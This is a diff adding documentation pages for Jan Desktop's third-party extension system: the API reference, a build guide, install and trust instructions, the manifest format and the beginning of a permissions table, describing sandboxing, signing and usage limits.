/** Rejects with E_TOO_LARGE when the stored total would exceed the quota. */+ set(key: string, value: JsonValue): Promise<void>+ delete(key: string): Promise<void>+ keys(): Promise<string[]>+}+```++## `ctx.commands`++```ts+interface CommandsApi {+ /** Binds a handler to a command declared in contributes.commands. */+ registerCommand(id: string, handler: CommandHandler): Disposable+ /** Runs one of the extension's own commands. */+ execute<T = unknown>(id: string, ...args: JsonValue[]): Promise<T>+}+type CommandHandler = (context: CommandContext, ...args: JsonValue[]) => unknown++type CommandContext =+ | { location: 'commandPalette' }+ | { location: 'thread/context'; threadId: string }+ | { location: 'message/actions'; threadId: string; messageId: string; role: 'user' | 'assistant' }+ | { location: 'chatInput/actions'; threadId: string }+ | { location: 'statusItem' }+ | { location: 'extension'; extensionId: string }+```++The context carries only ids; reading thread content needs+`conversations:read`.++<Callout type="info">+`execute` runs only the extension's own commands and needs no permission. Host+commands and other extensions' commands are not reachable; an id the extension+did not declare fails with `E_NOT_FOUND`.+</Callout>++## `ctx.ui`++```ts+interface UiApi {+ /** Shows a toast labelled with the extension name. Needs ui:notify. */+ notify(notification: { level: 'info' | 'success' | 'warning' | 'error'; message: string }): void+ /** Updates a status item declared in contributes.statusItems. */+ setStatusItem(id: string, update: { text?: string; tooltip?: string }): void+}+```++## `ctx.conversations`++Reading needs `conversations:read`; creating needs `conversations:write`.++```ts+interface ConversationsApi {+ listThreads(): Promise<ThreadSummary[]>+ getThread(id: string): Promise<ThreadInfo | undefined>+ /** The newest `limit` (1-1000) messages before `before`, oldest first. */+ listMessages(threadId: string, opts?: { limit?: number; before?: string }): Promise<MessageInfo[]>+ createThread(input: { title: string }): Promise<ThreadInfo>+ appendMessage(threadId: string, msg: { role: 'user' | 'assistant'; text: string }): Promise<MessageInfo>+ readonly onDidCreateMessage: Event<{ threadId: string; message: MessageInfo }>+ readonly onDidDeleteThread: Event<{ threadId: string }>+}++interface ThreadSummary { id: string; title: string; updatedAt: number }+interface ThreadInfo extends ThreadSummary { createdAt: number }+interface MessageInfo {+ id: string+ threadId: string+ role: 'user' | 'assistant' | 'system' | 'tool'+ /** The text parts of the message, concatenated. */+ text: string+ createdAt: number+}+```++Times are Unix epoch milliseconds.++## `ctx.tools`++Needs `tools`. Implements a tool declared in `contributes.tools`.++```ts+interface ToolsApi {+ registerTool(name: string, handler: ToolHandler): Disposable+}+interface ToolHandler {+ (input: unknown, token: CancellationToken): Promise<ToolResult>+}+interface ToolResult {+ content: ({ type: 'text'; text: string } | { type: 'json'; value: JsonValue })[]+ isError?: boolean+}+```++`input` is whatever the model sent; Jan does not validate it against+`inputSchema`. JSON parts are serialized to text before the model sees them, and+results are capped to the chat's tool output budget. A call times out after+120 s.++## `ctx.providers`++Needs `providers`, plus a `network:` grant for the provider's `baseUrl` host.++```ts+interface ProvidersApi {+ /** Activates a provider declared in contributes.providers. */+ registerProvider(id: string, handlers: ProviderHandlers): Disposable+}+interface ProviderHandlers {+ /** Overrides the host's GET <baseUrl>/models lookup. */+ listModels?(): Promise<ProviderModel[]>+}+interface ProviderModel {+ id: string+ displayName?: string+ /** Replaces the provider's declared capabilities for this model. */+ capabilities?: ModelCapability[]+}+type ModelCapability =+ | 'completion' | 'tools' | 'vision' | 'audio' | 'video' | 'embeddings' | 'reasoning'+```++Jan runs inference against `baseUrl` itself (OpenAI-compatible chat+completions), using the API key from the `apiKeySetting` secret if declared.+Tokens are not streamed through the extension.++A model's capabilities come from its `listModels` entry, else from the+provider's `capabilities` in the manifest, else `['completion']`. Chat offers+tools only to a model with `tools`, and image, audio or video attachments only+with `vision`, `audio` or `video`. An unknown capability makes the manifest+invalid; in a `listModels` result it fails the listing with `E_INVALID_ARGS`.++## `ctx.http`++Needs a `network:<host>` grant covering the URL. See+[network permissions](/docs/desktop/extensions/permissions#network-permissions).++```ts+interface HttpApi {+ fetch(url: string, init?: HttpRequestInit): Promise<HttpResponse>+}+interface HttpRequestInit {+ method?: 'GET' | 'POST' | 'PUT' | 'PATCH' | 'DELETE' | 'HEAD'+ headers?: Record<string, string>+ body?: string+}+interface HttpResponse {+ status: number+ headers: Record<string, string>+ body: string+}+```++Bodies are UTF-8 text. Response headers have lowercase names and no cookie+headers. Redirects are followed by Jan (at most 5), each hop checked against the+grants. Only installed extensions have a network path; a folder loaded unpacked+gets `E_NOT_FOUND`.++## Events and disposables++```ts+type Event<T> = (listener: (e: T) => void) => Disposable++interface Disposable { dispose(): void }++class DisposableStore implements Disposable {+ add<T extends Disposable>(d: T): T+ dispose(): void+}+function toDisposable(fn: () => void): Disposable+class Emitter<T> {+ readonly event: Event<T>+ fire(e: T): void+ dispose(): void+}+```++Subscribe by calling the event with a listener and keep the result in+`ctx.subscriptions`:++```ts+ctx.subscriptions.add(+ ctx.settings.onDidChange(({ key, value }) => ctx.log.info(key, value))+)+```++A `DisposableStore` disposes its members in reverse order of addition; adding to+a store that is already disposed disposes the member at once. At most 16+listeners per event per extension.++## Cancellation++```ts+interface CancellationToken {+ readonly isCancellationRequested: boolean+ readonly onCancellationRequested: Event<void>+}+```++Tool handlers receive a token that fires when the user stops the generation or+the call times out. Check it before expensive steps and stop early:++```ts+ctx.tools.registerTool('slow', async (input, token) => {+ for (const step of steps) {+ if (token.isCancellationRequested)+ return { content: [{ type: 'text', text: 'Cancelled' }], isError: true }+ await step()+ }+ return { content: [{ type: 'text', text: 'Done' }] }+})+```++## Errors++Host calls fail with an `ExtensionError` that has a `code`:++| Code | Meaning |+|---|---|+| `E_PERMISSION` | The needed permission is not granted, or the URL is not covered by a `network:` grant. |+| `E_INVALID_ARGS` | The arguments have the wrong shape, or an id is not declared in the manifest. |+| `E_NOT_FOUND` | The thing does not exist or is not available here (for example `ctx.http` in a folder loaded unpacked). |+| `E_TIMEOUT` | The call or request took too long. |+| `E_CANCELLED` | The call was cancelled. |+| `E_DISPOSED` | The extension or registration was already torn down. |+| `E_TOO_LARGE` | Over a size or count limit (storage quota, message size, too many requests or listeners). |+| `E_INTERNAL` | Anything else. |++Branch on `error.code` rather than `instanceof`: the error class your bundle+might include is not the one the runtime throws.++`E_PERMISSION`, `E_INVALID_ARGS` and `E_TOO_LARGE` count as refused calls; a+worker that collects too many is stopped (see+[Limits](/docs/desktop/extensions/develop#limits)).++## Helpers++The package also exports pure functions tooling can use:+`validateManifest`, `isApiCompatible(range, hostVersion)`,+`isContributionId`, `isPermissionString`, `isNetworkHost`, `networkHostOf`,+`networkHostMatches`, `isLocalHost`, and the constant `API_VERSION`.++## Stable and proposed APIs++- **Stable.** Everything in `ExtensionContext` except `proposed`. Covered by the+ versioning policy below.+- **Proposed.** `ctx.proposed` holds APIs under design. An extension opts in by+ listing the group in `jan.proposals` (currently `chat`, which would offer+ `ctx.proposed.chat.onWillSend` behind `chat:hooks`). Proposed APIs may change+ in any minor release, so only folders loaded unpacked in a development build+ may use them; an installed extension that lists proposals fails to start.++<Callout type="warning">+No proposed API is implemented in this release: `ctx.proposed` is an empty+object even for development folders. Check for a member before using it.+</Callout>++## Versioning++- `jan.apiVersion` must be a caret range such as `^1.0.0`. With npm caret+ semantics, `^1.0.0` accepts any 1.x host API at or above 1.0.0, so an+ extension built against 1.0 keeps working on later 1.x releases. An extension+ whose range the host does not satisfy fails to install or start, with+ "needs extension API ..., host provides ...".+- Additions come in minor versions. A deprecated item stays for at least one+ minor release and 90 days, and is removed only in a major version.+- Every change to the public declarations shows up as a diff of the committed+ `api-report.d.ts`, so API changes are reviewed explicitly.diff --git a/docs/src/pages/docs/desktop/extensions/develop.mdx b/docs/src/pages/docs/desktop/extensions/develop.mdxnew file mode 100644index 000000000..58d958b16--- /dev/null+++ b/docs/src/pages/docs/desktop/extensions/develop.mdx@@ -0,0 +1,235 @@+---+title: Build an Extension+description: Write, bundle, debug and package a Jan Desktop extension, starting from the hello-provider sample.+keywords:+ [+ Jan,+ extensions,+ extension development,+ extension API,+ TypeScript,+ rolldown,+ ]+---+import { Callout, Steps } from 'nextra/components'++# Build an Extension++A Jan extension is an npm-style package: a `package.json` with a+[`jan` manifest](/docs/desktop/extensions/manifest) and one JavaScript bundle+that exports `activate(ctx)`. Jan runs the bundle in a sandboxed Web Worker and+hands it an [`ExtensionContext`](/docs/desktop/extensions/api).++## Quick start from the sample++The Jan repository contains a sample that uses every contribution point:+[`extensions-samples/hello-provider`](https://github.com/janhq/jan/tree/main/extensions-samples/hello-provider).+It contributes two commands, a setting, a status item, a tool (`echo_upper`) and+an OpenAI-compatible provider at `http://127.0.0.1:11999/v1`.++<Steps>+### Build it+From the repository root (Yarn 4, Node 20 or newer):++```bash+yarn install+yarn build:extension-api && yarn build:extension-runtime+yarn workspace @janhq/sample-hello-provider build # type-check + dist/index.js+yarn vitest run --project @janhq/sample-hello-provider+```++### Load it unpacked+Start a development build of Jan with `yarn dev:tauri`, open+**Settings > Extensions**, click **Load unpacked** and pick the folder that+holds `package.json`.++### Package and install it+```bash+yarn workspace @janhq/sample-hello-provider pack --out /tmp/%s-%v.tgz+```+Then use **Install from file...** in **Settings > Extensions** and pick the+`.tgz`.+</Steps>++## The entry module++Import **only types** from `@janhq/extension-api`. Everything the extension does+goes through `ctx`, and every registration goes into `ctx.subscriptions`, which+Jan disposes when the extension stops.++```ts+import type { ExtensionContext } from '@janhq/extension-api'++export async function activate(ctx: ExtensionContext): Promise<void> {+ const greeting = (await ctx.settings.get<string>('greeting')) ?? 'Hello'+ ctx.subscriptions.add(+ ctx.commands.registerCommand('hello.greet', () => {+ ctx.ui.notify({ level: 'info', message: `${greeting}!` })+ })+ )+}++export function deactivate(): void {+ // Everything lives in ctx.subscriptions, which the host disposes.+}+```++`activate` must finish within 10 seconds, including the registrations it+started; `deactivate` gets 5 seconds.++## The bundle contract++The bundle must be a single classic script that is **exactly one top-level+statement**:++```js+var JanExtension = (function (exports) { /* ... */ return exports })({})+```++optionally preceded by a `'use strict'` directive, with comments anywhere.+Jan parses the file before it starts a worker and refuses anything else with+"is not a valid extension bundle". In practice:++- Bundle to one file with `format: 'iife'` and `name: 'JanExtension'`+ (rolldown or esbuild).+- No runtime imports. Bundle your dependencies; import only types from+ `@janhq/extension-api`.+- No `banner`, `footer` or `intro` that adds top-level code, and no other+ top-level `function`, `class`, `var`, `let` or `const`.+- The entry file (`jan.main`) must be a `.js` file inside the package, at most+ 5 MiB.++The sample's `rolldown.config.mjs`:++```js+import { defineConfig } from 'rolldown'++export default defineConfig({+ input: 'src/index.ts',+ platform: 'browser',+ output: {+ format: 'iife',+ name: 'JanExtension',+ file: 'dist/index.js',+ },+})+```++### What the worker does not have++Before your bundle runs, Jan removes these globals from the worker: `fetch`,+`XMLHttpRequest`, `WebSocket`, `WebSocketStream`, `WebTransport`, `EventSource`,+`importScripts`, `Worker`, `SharedWorker`, `BroadcastChannel`, `Notification`,+`indexedDB`, `caches`, the Tauri globals, and `navigator.storage`, `navigator.locks` and+`navigator.serviceWorker`. The worker also runs under its own Content Security+Policy, `default-src 'none'`, so the engine refuses any direct network request+(including `import()` and `FontFace`) and `eval`; WebAssembly still compiles.+Use `ctx.http.fetch` for network access and+`ctx.storage` for persistence. There is no DOM: extensions describe their UI in+the manifest.++### Frozen built-ins++Your bundle runs after Jan has locked the worker down with+[SES](https://github.com/endojs/endo/tree/master/packages/ses): every built-in+(`Object.prototype`, `Array.prototype`, `Promise`, `JSON`, ...) is frozen,+`eval` and `new Function` throw, and the `ctx` passed to `activate` is frozen.++- A dependency that patches a built-in prototype when it loads (some+ polyfills do) makes activation fail. Leave such polyfills out; the worker+ runs a current JavaScript engine.+- `error.stack` is empty in extension code. Log errors with `ctx.log.error`.+- `harden(value)` is a global that deep-freezes your own objects.++## Load unpacked (development builds)++**Load unpacked** appears only in development builds (`yarn dev:tauri`); release+builds never show it. Jan reads `package.json`, validates the manifest and the+bundle shape, lists the permissions the extension requests, and starts it after+you confirm. A folder loaded this way:++- is labelled **Development** and is gone after Jan restarts (use **Unload** to+ stop it, then load it again after a rebuild);+- is granted every permission it requests;+- may opt into [proposed APIs](/docs/desktop/extensions/api#stable-and-proposed-apis);+- **has no network path**: `ctx.http.fetch` fails with `E_NOT_FOUND` and its+ providers cannot be chatted with. Install the packed `.tgz` to test those.++## Package it++`yarn pack` (or `npm pack`) produces the `.tgz` Jan installs. Jan reads it+without running anything; `scripts` are ignored. The archive rules:++| Rule | Limit |+|---|---|+| Compressed size | 50 MiB |+| Decompressed size | 50 MiB |+| Entries (files and directories) | 2000 |+| One file | 20 MiB |+| Path depth below `package/` | 32 |+| Path length below `package/` | 240 bytes |++Every entry must sit under `package/`, and `package/package.json` must exist.+Only regular files and directories are allowed (no links or devices), no path+may contain `..` or be absolute, and no two paths may differ only in letter+case. Execute bits are dropped.++Jan also checks that `jan.apiVersion` accepts its extension API version and,+when present, that `engines.jan` accepts the app version.++## Debugging++- `ctx.log.debug/info/warn/error` write to the app log+ (`<Jan data folder>/logs/app.log`), tagged `[ext:<id>]`. In a development+ build they also show in the webview devtools console.+- The extension's card shows its state (**Starting**, **Active**, **Failed**,+ **Crashed**) and the reason it failed or was stopped.+- Errors from the host are `ExtensionError` instances with a+ [`code`](/docs/desktop/extensions/api#errors), such as `E_PERMISSION` when a+ grant is missing.+- Validate a manifest the same way Jan does:++```ts+import { validateManifest } from '@janhq/extension-api/manifest'++const result = validateManifest(JSON.parse(packageJsonText))+if (!result.ok) console.error(result.errors) // [{ path, message }]+```++## Limits++Third-party extensions run under these limits (built-in extensions are exempt):++| What | Limit |+|---|---|+| Messages to the host | burst of 200, then 50 per second |+| One message | 4 MiB (JSON size) |+| Requests outstanding at once | 256 |+| Refused calls (no grant, bad arguments, over a limit) | the worker is stopped after 16; one is forgiven every 10 s |+| Host call timeout | 30 s (tool calls: 120 s) |+| `activate` / `deactivate` | 10 s / 5 s |+| Notifications | burst of 5, then one every 2 s; message up to 2000 characters |+| Log lines | burst of 50, then 10 per second; 16 arguments and 4096 characters per line; 1 MiB per 10 minutes |+| Listeners per event | 16 |+| `ctx.storage` | 1 MiB per extension |+| `ctx.http.fetch` concurrent requests | 8 |+| `ctx.http.fetch` request body | 4 MiB |+| `ctx.http.fetch` response body | 1 MiB |+| `ctx.http.fetch` timeout | 30 s per request, at most 5 redirects |++### Do not block the event loop++Jan pings each worker every 5 seconds and stops it after 3 unanswered pings in a+row. The worker answers from its event loop, so **no synchronous task may run+for more than about 15 seconds**: a busy loop, a large synchronous parse or a+long `Atomics.wait` gets the worker terminated after 15-20 seconds and marked+**Crashed**. Split long work into chunks and `await` (or `setTimeout(next, 0)`)+between them.++A crashed extension is restarted. After 3 crashes in 10 minutes it stays off+until Jan restarts.++<Callout type="info">+Tools receive a `CancellationToken`. When the user presses Stop, the token+fires; return promptly. The sample's `echo_upper` shows the pattern.+</Callout>diff --git a/docs/src/pages/docs/desktop/extensions/index.mdx b/docs/src/pages/docs/desktop/extensions/index.mdxnew file mode 100644index 000000000..0dad19022--- /dev/null+++ b/docs/src/pages/docs/desktop/extensions/index.mdx@@ -0,0 +1,209 @@+---+title: Extensions+description: Install, manage and trust third-party extensions in Jan Desktop.+keywords:+ [+ Jan,+ extensions,+ plugins,+ extension index,+ permissions,+ safe mode,+ local AI,+ privacy focus,+ ]+---+import { Callout, Steps } from 'nextra/components'++# Extensions++Extensions add features to Jan Desktop without a new release of the app. Anyone+can write one, and you install them yourself, either from a file or from an+index someone publishes.++<Callout type="info">+Third-party extensions are a **desktop** feature (Windows, macOS, Linux). The+mobile apps do not run them, and the `jan` CLI has its own plugin system.+</Callout>++## What an extension can do++An extension can contribute:++- **Commands**, shown in the command palette (search dialog), thread and message+ menus, and the chat input actions.+- **Settings**, shown on the extension's card in **Settings > Extensions**.+ Secret settings (such as API keys) are stored in the OS keyring, not in a file.+- **Status items** in the left sidebar.+- **Tools** that models can call during a chat. Every call still goes through+ Jan's tool approval.+- **Model providers** that speak the OpenAI API and appear in the model picker.++Anything beyond showing its own settings, commands and status items needs a+[permission](/docs/desktop/extensions/permissions) that you grant when you install it.++## How extensions run++Jan ships a few built-in extensions (the llama.cpp engine, MLX on macOS, downloads,+assistants, RAG and the vector store). They are part of Jan and cannot be+disabled or uninstalled.++Every extension you install runs in its own sandboxed Web Worker:++- It has no access to the page, the file system, Jan's internal APIs or the+ browser's network primitives (`fetch`, `XMLHttpRequest`, `WebSocket` and the+ like are removed before its code runs, and the worker's security policy+ blocks any direct connection).+- Its built-in JavaScript objects are frozen, so it cannot tamper with them.+- It can only call the [extension API](/docs/desktop/extensions/api). Every call+ is checked against the permissions you granted.+- It has no UI of its own. It describes commands, settings and status items in+ its manifest, and Jan draws them.+- Network requests go through Jan's backend, only to the hosts you granted.+ They carry no cookies, redirects are checked hop by hop, and Jan's own+ [Local API Server](/docs/desktop/api-server) is never reachable.++<Callout type="warning">+The sandbox limits what an extension can reach, but it is not a guarantee+against malicious code. Install extensions only from people and indexes you+trust, and grant only the permissions you are comfortable with.+</Callout>++## Trust labels++Jan has no central extension store and ships no index. Each install is labelled+by where it came from:++| Label | Meaning |+|---|---|+| **Verified by <source>** | From an index you added **with a pinned signing key**. The index signature checked out and the download matched the hash the index listed. |+| **Integrity checked (unsigned source)** | From an index you added **without** a key. The download matched the listed hash, but nothing proves who published the listing. |+| **Unverified** | A `.tgz` file from disk. Nobody vouched for it. Jan shows its SHA-512 so you can compare it with what the author published. |++For anything that is not verified, the install button stays disabled until you+tick **I trust the author of this file** (or **I trust the author and this+index**).++## Install an extension++### From a file++<Steps>+### Open the Extensions page+Go to **Settings > Extensions**.++### Pick the file+Click **Install from file...** and choose the extension's `.tgz` bundle.++### Review and confirm+Jan checks the package and shows its name, version, publisher, the permissions+it requests with their risk level, and its SHA-512. Tick the trust box and click+**Install**.+</Steps>++Jan never runs package scripts. A bundle is refused when it is larger than+50 MiB, when its manifest is invalid, when it needs a newer extension API or Jan+version than yours, or when its files break the archive rules (see+[Build an Extension](/docs/desktop/extensions/develop#package-it)).++### From an index source++An index is a JSON catalog of extensions published by a community member or an+organization. See [Publishing an Index](/docs/desktop/extensions/publishing) to+host one.++<Steps>+### Add the source+On the **Catalog** tab of **Settings > Extensions**, enter the index URL+(https only), a name, and, if the publisher gives you one, its **public key**.++### Browse the catalog+Jan downloads the index and lists its extensions with their latest version.+When the publisher links a provenance attestation, a+**Provenance reported by source** link is shown; Jan does not check it.++### Install+Click **Install**. Jan downloads the tarball, checks it against the hash in the+index, and refuses it if its id, version or permissions differ from the listing.+Then the same consent dialog as above opens.+</Steps>++<Callout type="info">+Pin the publisher's public key whenever one is offered. With a key, Jan rejects+any index that is not signed by it, any index older than one it already+accepted from that source (a replayed index), and any index past its `expires`+date. Without a key, the index is read as is and installs are labelled+**Integrity checked (unsigned source)**.+</Callout>++**Key rotation.** A signed index can announce the key it will be signed with+next. Jan then shows **Review new key** on that source. Accept it only if you+expected the change; after that, only indexes signed with the new key are+trusted.++**Removing a source.** Installed extensions stay installed. If the source had a+pinned key, Jan asks first and remembers the key; adding the same URL again+without a key shows a warning with the old key.++## Manage installed extensions++Each installed extension has a card in **Settings > Extensions** with an enable+switch and a **Details** page.++- **Enable / disable.** A disabled extension is stopped and does not start with+ Jan. Its settings and data are kept.+- **Revoke permissions.** On the Details page, **Revoke** removes a granted+ permission. The extension restarts without it, and calls that need it fail.+ A revoked permission can only be granted again by an update, which asks for+ it again, or by uninstalling and installing the extension again.+- **Update.** Install a newer version from a file or from the catalog (the+ catalog shows **Update to <version>**). The dialog lists **New+ permissions** and the ones **No longer needed**; permissions you already+ granted are kept. A version that is not newer than the installed one is refused.+- **Roll back.** After an update, the previous version is kept on disk.+ **Roll back to <version>** makes it active again. Grants shrink to what that+ version requests; nothing is added. Rolling back again returns to the newer+ version.+- **Uninstall.** Removes the extension's files. This cannot be undone.++Jan also re-checks the extension's main file against the hash recorded at+install time each time it starts the extension. If the file was changed on+disk, the extension is not started and must be reinstalled.++## Safe mode++Safe mode starts Jan without loading any installed extension. Built-in+extensions still run.++- Turn it on or off with the **Safe mode** switch in **Settings > Extensions**.+ While it is on, a banner offers **Turn off safe mode**.+- Start Jan with the environment variable `JAN_EXTENSIONS_SAFE_MODE=1` to force+ it on for that run. It cannot be turned off from the app then.++```bash+# macOS / Linux+JAN_EXTENSIONS_SAFE_MODE=1 /path/to/Jan++# Windows (PowerShell)+$env:JAN_EXTENSIONS_SAFE_MODE = "1"; & "C:\path\to\Jan.exe"+```++## When an extension crashes++- An extension that stops responding (it does not answer Jan's heartbeat for+ 15-20 seconds) or keeps breaking the API limits is stopped and marked+ **Crashed**, with the reason on its card. Jan restarts it.+- After **3 crashes within 10 minutes** it stays off until you restart Jan.+- If Jan itself fails to start twice in a row after loading installed+ extensions (it closed or was killed within 60 seconds, not by quitting), it+ turns on safe mode on the next start and tells you. Find the culprit by+ enabling extensions one at a time, then turn safe mode off.++Extension log lines are written to the app log (see+[Jan Data Folder](/docs/desktop/data-folder)), tagged `[ext:<extension id>]`.++## Where extensions are stored++Installed extensions live in `<Jan data folder>/extensions/`. See+[Jan Data Folder](/docs/desktop/data-folder#extensions) for the layout. A factory+reset removes them.diff --git a/docs/src/pages/docs/desktop/extensions/manifest.mdx b/docs/src/pages/docs/desktop/extensions/manifest.mdxnew file mode 100644index 000000000..1f06fa40d--- /dev/null+++ b/docs/src/pages/docs/desktop/extensions/manifest.mdx@@ -0,0 +1,245 @@+---+title: Extension Manifest+description: Reference for the jan field of a Jan extension's package.json.+keywords:+ [+ Jan,+ extensions,+ manifest,+ package.json,+ contributions,+ ]+---++# Extension Manifest++An extension declares itself in the `jan` field of its `package.json`. Jan+validates the whole manifest at install time and again each time it loads the+extension, and reports every problem at once with its path (for example+`jan.contributes.commands[1].id`). Unknown fields are errors.++You can run the same validator yourself with `validateManifest` from+`@janhq/extension-api/manifest` (see [Build an Extension](/docs/desktop/extensions/develop#debugging)).++## Minimal example++```json+{+ "name": "@acme/hello",+ "version": "0.1.0",+ "engines": { "jan": ">=0.8.0" },+ "jan": {+ "id": "acme.hello",+ "displayName": "Hello",+ "description": "Says hello.",+ "publisher": "Acme",+ "apiVersion": "^1.0.0",+ "main": "dist/index.js",+ "permissions": ["ui:notify"],+ "contributes": {+ "commands": [{ "id": "hello.greet", "title": "Say hello" }],+ "menus": { "commandPalette": [{ "command": "hello.greet" }] }+ }+ }+}+```++## Package fields++| Field | Type | Rules |+|---|---|---|+| `name` | string | Required, non-empty. |+| `version` | string | Required, a semver version. Updates must be newer than the installed version. |+| `engines.jan` | string | Optional. A semver range of Jan app versions, such as `>=0.8.0`. Prerelease builds are compared by their release number, so `>=0.9.0` accepts `0.9.0-nightly.3`. |++## `jan` fields++| Field | Type | Rules |+|---|---|---|+| `id` | string | Required. `<publisher>.<name>`: two parts of 2-39 lowercase letters, digits and dashes, each starting with a letter or digit, joined by one dot. Windows device names (`con`, `nul`, `com1`, ...) are not allowed as parts. Ids starting with `jan.` are reserved for built-in extensions. |+| `displayName` | string | Required, non-empty. |+| `description` | string | Optional, non-empty. |+| `publisher` | string | Required, non-empty. |+| `apiVersion` | string | Required. A caret range `^MAJOR.MINOR.PATCH` and nothing else, for example `^1.0.0`. See [API versioning](/docs/desktop/extensions/api#versioning). |+| `main` | string | Required. Relative path to the bundle inside the package, ending in `.js`. No absolute paths, drive letters, backslashes, `.` or `..` segments. A leading `./` is allowed. |+| `permissions` | string[] | Required (may be empty). Known [permissions](/docs/desktop/extensions/permissions), no duplicates. |+| `proposals` | string[] | Optional. Proposed API groups; currently only `chat`. Only folders loaded unpacked may use them; an installed extension that lists any fails to start. |+| `contributes` | object | Optional. See below. |+| `l10n` | object | Optional. `locale -> key -> text`. See [Localization](#localization). |++## Contributions++All ids below (command, status item and provider ids, tool names) must be 1-64+letters, digits, `.`, `_` or `-`, starting with a letter or digit, and unique+within their list.++### `contributes.settings`++| Field | Type | Rules |+|---|---|---|+| `key` | string | Required, unique. |+| `title` | string | Required. |+| `description` | string | Optional. |+| `secret` | boolean | Optional. Stored in the OS keyring. Only on `input` and `textarea` controls. |+| `control` | object | Required, one of the controls below. |++| `control.type` | Fields | `default` |+|---|---|---|+| `input` | `inputType?`: `text`, `url` or `number`; `placeholder?` | string |+| `textarea` | `rows?` | string |+| `checkbox` | | boolean |+| `dropdown` | `options`: at least one `{ value, label }` | one of the option values |+| `slider` | `min`, `max`, `step` (min <= max, step > 0) | number within min and max |++Values the user sets are stored in Jan's settings; secret ones in the OS keyring.++### `contributes.commands`++| Field | Type | Rules |+|---|---|---|+| `id` | string | Required, contribution id. |+| `title` | string | Required. |+| `category` | string | Optional. Shown as `Category: Title`. |+| `icon` | string | Optional. A [Tabler icon](https://tabler.io/icons) name in kebab case, such as `hand-stop`. |++Bind a handler with `ctx.commands.registerCommand(id, handler)`.++### `contributes.menus`++An object keyed by location. Each value is a list of items.++| Location | Where |+|---|---|+| `commandPalette` | The search / command palette dialog |+| `thread/context` | A thread's menu in the thread list |+| `message/actions` | The action bar under a message |+| `chatInput/actions` | The chat input's actions |++| Item field | Type | Rules |+|---|---|---|+| `command` | string | Required. A command declared in `contributes.commands`. |+| `when` | string | Optional. `always`, `message.role == assistant`, `message.role == user` or `thread.hasMessages`. |+| `group` | string | Optional. |+| `order` | number | Optional. |++### `contributes.statusItems`++Shown in the left sidebar.++| Field | Type | Rules |+|---|---|---|+| `id` | string | Required, contribution id. |+| `text` | string | Required. |+| `tooltip` | string | Optional. |+| `command` | string | Optional. A declared command, run on click. |+| `priority` | number | Optional. |++Update text and tooltip at runtime with `ctx.ui.setStatusItem`.++### `contributes.tools`++Requires the `tools` permission.++| Field | Type | Rules |+|---|---|---|+| `name` | string | Required, contribution id. |+| `description` | string | Required. Shown to the model. |+| `inputSchema` | object | Required. A JSON Schema with `"type": "object"`. |++Tools are declared statically so the consent dialog can list them. Jan does not+validate tool input against `inputSchema`; check it in your handler.++### `contributes.providers`++Requires the `providers` permission.++| Field | Type | Rules |+|---|---|---|+| `id` | string | Required, contribution id. |+| `displayName` | string | Required. |+| `baseUrl` | string | Required. An OpenAI-compatible base URL. https, or http for `localhost` and `127.0.0.1`. Its host must be covered by a `network:` permission in the same manifest. |+| `apiKeySetting` | string | Optional. The `key` of a **secret** setting in `contributes.settings` that holds the API key. |+| `capabilities` | string[] | Optional, non-empty, no duplicates. What the provider's models can do: `completion`, `tools`, `vision`, `audio`, `video`, `embeddings`, `reasoning`. Any other value is an error. Defaults to `["completion"]`; declare `tools` for chat to offer tool calls. A `listModels` entry can override it per model. |++## Localization++`displayName`, `description`, setting titles, descriptions, input placeholders+and dropdown option labels, command titles and categories, status item text and+tooltips, and provider display names may be a literal or a `%key%` reference+into `l10n`:++```json+{+ "displayName": "%name%",+ "l10n": {+ "en": { "name": "Hello" },+ "fr": { "name": "Bonjour" }+ }+}+```++Every `%key%` used must exist in `l10n.en`; the validator enforces this.++Jan resolves a reference wherever it shows the string: the command palette and+menus, the status bar, the settings form, Settings > Extensions, consent dialogs,+notifications and the model picker. It looks the key up in the app language,+then in its base language (`de` for `de-DE`), then in `en`; a key found nowhere+is shown as written. Locale keys use Jan's language codes: `en`, `ca`, `cs`,+`de-DE`, `es`, `fr`, `hi`, `id`, `it`, `ja`, `ko`, `pl`, `pt-BR`, `ru`, `vn`,+`zh-CN`, `zh-TW`. Switching the language in Settings updates the text right+away, and the tables go away with the extension when it stops or is unloaded.++Only a value that is exactly `%key%` is a reference; `Hello %name%` is shown as+written. Status item text and tooltips set at runtime with `setStatusItem` are+resolved the same way, so they may also be a `%key%`.++## Full example++The [hello-provider sample](https://github.com/janhq/jan/blob/main/extensions-samples/hello-provider/package.json)+uses every contribution point:++```json+"jan": {+ "id": "jan-samples.hello-provider",+ "displayName": "Hello Provider",+ "publisher": "Jan",+ "apiVersion": "^1.0.0",+ "main": "dist/index.js",+ "permissions": ["ui:notify", "tools", "providers", "network:127.0.0.1"],+ "contributes": {+ "settings": [+ {+ "key": "greeting",+ "title": "Greeting",+ "control": { "type": "input", "placeholder": "Hello", "default": "Hello" }+ }+ ],+ "commands": [+ { "id": "hello.greet", "title": "Say hello", "category": "Hello Provider" }+ ],+ "menus": { "commandPalette": [{ "command": "hello.greet" }] },+ "statusItems": [+ { "id": "hello.status", "text": "Hello (0)", "command": "hello.greet" }+ ],+ "tools": [+ {+ "name": "echo_upper",+ "description": "Returns the given text in upper case.",+ "inputSchema": {+ "type": "object",+ "properties": { "text": { "type": "string" } },+ "required": ["text"]+ }+ }+ ],+ "providers": [+ {+ "id": "hello-local",+ "displayName": "Hello Local",+ "baseUrl": "http://127.0.0.1:11999/v1",+ "capabilities": ["completion", "tools"]+ }+ ]+ }+}+```diff --git a/docs/src/pages/docs/desktop/extensions/permissions.mdx b/docs/src/pages/docs/desktop/extensions/permissions.mdxnew file mode 100644index 000000000..02fe0763b--- /dev/null+++ b/docs/src/pages/docs/desktop/extensions/permissions.mdx@@ -0,0 +1,98 @@+---+title: Extension Permissions+description: Every permission a Jan extension can request, its risk level and what it allows.+keywords:+ [+ Jan,+ extensions,+ permissions,+ network access,+ security,+ ]+---+import { Callout } from 'nextra/components'++# Extension Permissions++An extension lists the permissions it needs in the `jan.permissions` field of its+manifest. Jan shows them with a risk level before you install it, and every call+the extension makes is checked against what you granted. Installing means+granting everything the extension requests; afterwards you can revoke+individual permissions on its Details page.++## Always allowed++These need no permission:++- reading and writing its own settings (`ctx.settings`),+- its own key-value storage (`ctx.storage`, 1 MiB),+- registering and running its own declared commands, updating its own status+ items,+- logging to the app log (`ctx.log`).++## Permission table++| Permission | Shown as | Risk | What it allows |+|---|---|---|---|+| `ui:notify` | Show notifications | Low | Show short messages in the app, labelled with the extension's name (`ctx.ui.notify`). |+| `network:<host>` | Connect to <host> | Medium (High for `network:*`) | 